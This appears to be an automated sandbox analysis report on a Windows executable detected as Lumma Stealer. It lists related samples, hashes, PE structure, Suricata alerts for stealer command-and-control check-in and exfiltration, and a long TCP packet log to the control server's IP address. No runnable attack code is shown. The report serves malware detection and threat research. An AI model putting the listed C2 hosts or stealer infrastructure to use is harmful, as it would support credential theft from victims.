	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.95.91

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	9D7RwuJrth.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	188.114.96.3
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	104.20.41.119
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	8.44.59.50
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	https://link.edgepilot.com/s/e9b35021/KNsrNVGwOUukNjaKm_560w?u=https://publicidadnicaragua.com/	Get hash	malicious	Unknown	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	SUNNY HONG VSL PARTICULARS.xlsx.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	JOSXXL1.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	WINNING DILIGENCE - VESSEL PARTICULARS.doc.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.13.205
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	TZH3Uk8x45.bat	Get hash	malicious	DBatLoader, PureLog Stealer, XWorm	Browse	172.67.170.64
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.170.64

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2121459
Entropy (8bit):	5.9409021463032055
Encrypted:	false
SSDEEP:	24576:kgcpW2m+cVmJ1RoGuOUzE1KDE/Dn/a3M3DKPs3oCeKH/ui0Sklc8ra/80DjY9LtY:kf+ooGuOUerMM3mLSkl6kkY9Lbbq7D
MD5:	F9842242A11CD933C66C6866C366D428
SHA1:	D5D310E7CC6B3BF8979E03D00F553576111F16D4
SHA-256:	F206EFE1C0EE8701738E73D2AD6E6F10CE49458C02CF54F68EA99F8EB50AFA81
SHA-512:	B864B995790ED09E99BD9B42A726FBCAD6BD72DCB19DE98879A60BEEF81BAAC380C3979D18D1EF970E06CF771C3D28F933F7A5736DF39C6CB69FB08C8BEF1193
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............+.. ...`....@.. ....................... ,.....,.+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...qvmkysan. +.......+..:..............@...pmlcwwlz. ....+......@+.............@....taggant.@....+.."...F+.............@...................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.5492047162965425
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'899'968 bytes
MD5:	f562dfc98c5958fa4687891bc0ac3719
SHA1:	3a855b5931aed6b4ccc1d30645334282aed25cb7
SHA256:	1efd8f4be1f31d5b26bcc135bec0760c90aede0d9dc24d479a26d8d49512f540
SHA512:	216eba6e21bacb5b423701aee7df5d64d875a7609feba92bd9a9cf564ff1be924e621a2b2d72fcd0adbd5a420e7072bb7d8886a62a0feabfa589cf14b4ebfed6
SSDEEP:	49152:Ihqd0JjXNaAVSii/wVJ2Q1Ngt9otX8jtJW:IcwXNaAdi/wVJt1Ngg
TLSH:	E6D55CA1B404B6CFD09E33799927CD8669DC13B84B1448D3A86D647E7DE3CC926F6C28
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J...........P/...........@.........................../.......,...@.................................T...h..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x6f5000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6715D353 [Mon Oct 21 04:06:43 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F8AE4B5018Ah
hint_nop dword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F8AE4B52185h
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5a054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5a1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x58000	0x27e00	de2b2b1c923b1663eb61f3019285c3d3	False	0.998046875	data	7.981943895148221	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x59000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5a000	0x1000	0x200	555a11fa24a077379003c187d9c9d020	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
kbbaetih	0x5b000	0x299000	0x298a00	7126f8d59b55f818dec1a1a613fb8ad3	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
qffjrseg	0x2f4000	0x1000	0x400	3d4c2ca39796ef3064b01f3b556c6155	False	0.7890625	data	6.173084340616002	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x2f5000	0x3000	0x2200	9811942e1a6c029199754fdf57406312	False	0.08214613970588236	DOS executable (COM)	0.9208882998287982	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-27T02:03:01.854278+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49730	172.67.170.64	443	TCP
2024-10-27T02:03:01.854278+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49730	172.67.170.64	443	TCP
2024-10-27T02:03:02.983394+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49731	172.67.170.64	443	TCP
2024-10-27T02:03:02.983394+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49731	172.67.170.64	443	TCP
2024-10-27T02:03:09.364373+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49735	172.67.170.64	443	TCP
2024-10-27T02:03:16.070325+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49737	172.67.170.64	443	TCP
2024-10-27T02:03:16.995396+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	49738	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 27, 2024 02:03:00.619364977 CET	49730	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:00.619460106 CET	443	49730	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:00.619601011 CET	49730	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:00.622288942 CET	49730	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:00.622325897 CET	443	49730	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:01.245949030 CET	443	49730	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:01.246032953 CET	49730	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:01.250293970 CET	49730	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:01.250325918 CET	443	49730	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:01.250741959 CET	443	49730	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:01.303592920 CET	49730	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:01.362715960 CET	49730	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:01.362754107 CET	49730	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:01.362829924 CET	443	49730	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:01.854262114 CET	443	49730	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:01.854352951 CET	443	49730	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:01.854429007 CET	49730	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:01.870507956 CET	49730	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:01.870554924 CET	443	49730	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:01.870584965 CET	49730	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:01.870600939 CET	443	49730	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:02.002620935 CET	49731	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:02.002665043 CET	443	49731	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:02.002733946 CET	49731	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:02.003034115 CET	49731	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:02.003048897 CET	443	49731	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:02.633856058 CET	443	49731	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:02.633944035 CET	49731	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:02.646919966 CET	49731	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:02.646945000 CET	443	49731	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:02.647841930 CET	443	49731	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:02.649167061 CET	49731	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:02.649209976 CET	49731	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:02.649326086 CET	443	49731	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:02.983338118 CET	443	49731	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:02.983381987 CET	443	49731	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:02.983412027 CET	443	49731	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:02.983447075 CET	443	49731	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:02.983479977 CET	443	49731	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:02.983516932 CET	443	49731	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:02.983578920 CET	49731	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:02.983578920 CET	49731	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:02.983609915 CET	443	49731	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:02.983648062 CET	49731	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:02.984131098 CET	443	49731	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:02.984184027 CET	49731	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:02.984193087 CET	443	49731	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:02.984366894 CET	443	49731	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:02.984414101 CET	49731	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:02.984421015 CET	443	49731	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:03.038096905 CET	49731	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:03.102152109 CET	443	49731	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:03.102401018 CET	443	49731	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:03.102467060 CET	49731	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:03.102495909 CET	443	49731	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:03.102581978 CET	443	49731	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:03.102628946 CET	49731	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:03.102637053 CET	443	49731	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:03.102787971 CET	443	49731	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:03.102848053 CET	49731	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:03.102889061 CET	49731	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:03.102902889 CET	443	49731	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:03.102917910 CET	49731	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:03.102924109 CET	443	49731	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:03.198674917 CET	49732	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:03.198713064 CET	443	49732	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:03.198800087 CET	49732	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:03.199091911 CET	49732	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:03.199107885 CET	443	49732	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:03.842875004 CET	443	49732	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:03.842946053 CET	49732	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:03.844247103 CET	49732	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:03.844254971 CET	443	49732	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:03.844657898 CET	443	49732	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:03.845911980 CET	49732	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:03.846061945 CET	49732	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:03.846107960 CET	443	49732	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:03.846168041 CET	49732	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:03.846177101 CET	443	49732	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:04.528590918 CET	443	49732	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:04.528701067 CET	443	49732	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:04.528764009 CET	49732	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:04.539252996 CET	49732	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:04.539267063 CET	443	49732	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:04.669272900 CET	49733	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:04.669358969 CET	443	49733	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:04.669461966 CET	49733	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:04.669815063 CET	49733	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:04.669852018 CET	443	49733	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:05.276592016 CET	443	49733	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:05.276784897 CET	49733	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:05.277698040 CET	49733	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:05.277725935 CET	443	49733	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:05.278063059 CET	443	49733	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:05.279055119 CET	49733	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:05.279164076 CET	49733	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:05.279206991 CET	443	49733	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:05.819736004 CET	443	49733	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:05.820017099 CET	443	49733	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:05.820013046 CET	49733	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:05.820085049 CET	49733	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:06.044248104 CET	49734	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:06.044284105 CET	443	49734	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:06.044390917 CET	49734	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:06.044653893 CET	49734	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:06.044667006 CET	443	49734	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:06.673470020 CET	443	49734	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:06.673666954 CET	49734	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:06.674664021 CET	49734	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:06.674671888 CET	443	49734	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:06.675066948 CET	443	49734	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:06.676008940 CET	49734	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:06.676115036 CET	49734	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:06.676146984 CET	443	49734	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:06.676218987 CET	49734	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:06.676229954 CET	443	49734	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:07.408994913 CET	443	49734	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:07.409251928 CET	49734	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:07.409260035 CET	443	49734	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:07.409311056 CET	49734	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:07.958966970 CET	49735	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:07.959059954 CET	443	49735	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:07.959160089 CET	49735	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:07.959455967 CET	49735	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:07.959491968 CET	443	49735	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:08.609575033 CET	443	49735	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:08.609826088 CET	49735	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:08.615480900 CET	49735	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:08.615504980 CET	443	49735	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:08.616389036 CET	443	49735	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:08.617569923 CET	49735	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:08.617697954 CET	49735	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:08.617703915 CET	443	49735	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:09.364444971 CET	443	49735	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:09.364752054 CET	443	49735	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:09.364831924 CET	49735	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:09.365176916 CET	49735	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:09.365225077 CET	443	49735	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:10.408133984 CET	49736	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:10.408194065 CET	443	49736	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:10.408273935 CET	49736	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:10.408684969 CET	49736	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:10.408706903 CET	443	49736	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:11.027143002 CET	443	49736	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:11.027277946 CET	49736	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:11.028481960 CET	49736	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:11.028510094 CET	443	49736	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:11.028856993 CET	443	49736	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:11.030057907 CET	49736	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:11.030710936 CET	49736	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:11.030750036 CET	443	49736	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:11.030853987 CET	49736	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:11.030886889 CET	443	49736	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:11.030982971 CET	49736	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:11.031045914 CET	443	49736	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:11.031153917 CET	49736	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:11.031182051 CET	443	49736	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:11.031300068 CET	49736	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:11.031330109 CET	443	49736	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:11.031459093 CET	49736	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:11.031481028 CET	443	49736	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:11.031493902 CET	49736	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:11.031615019 CET	49736	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:11.031646967 CET	49736	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:11.041977882 CET	443	49736	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:11.042154074 CET	49736	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:11.042195082 CET	443	49736	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:11.042243004 CET	49736	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:11.042256117 CET	443	49736	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:11.042290926 CET	49736	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:11.042323112 CET	49736	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:11.042356014 CET	49736	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:11.047112942 CET	443	49736	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:11.047240019 CET	49736	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:11.047271967 CET	443	49736	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:14.914679050 CET	443	49736	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:14.914808035 CET	443	49736	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:14.914876938 CET	49736	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:14.914971113 CET	49736	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:14.914994001 CET	443	49736	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:14.926244020 CET	49737	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:14.926340103 CET	443	49737	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:14.926439047 CET	49737	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:14.928925991 CET	49737	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:14.928966999 CET	443	49737	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:15.546892881 CET	443	49737	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:15.546984911 CET	49737	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:15.551769018 CET	49737	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:15.551820040 CET	443	49737	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:15.552141905 CET	443	49737	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:15.554297924 CET	49737	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:15.554341078 CET	49737	443	192.168.2.4	172.67.170.64
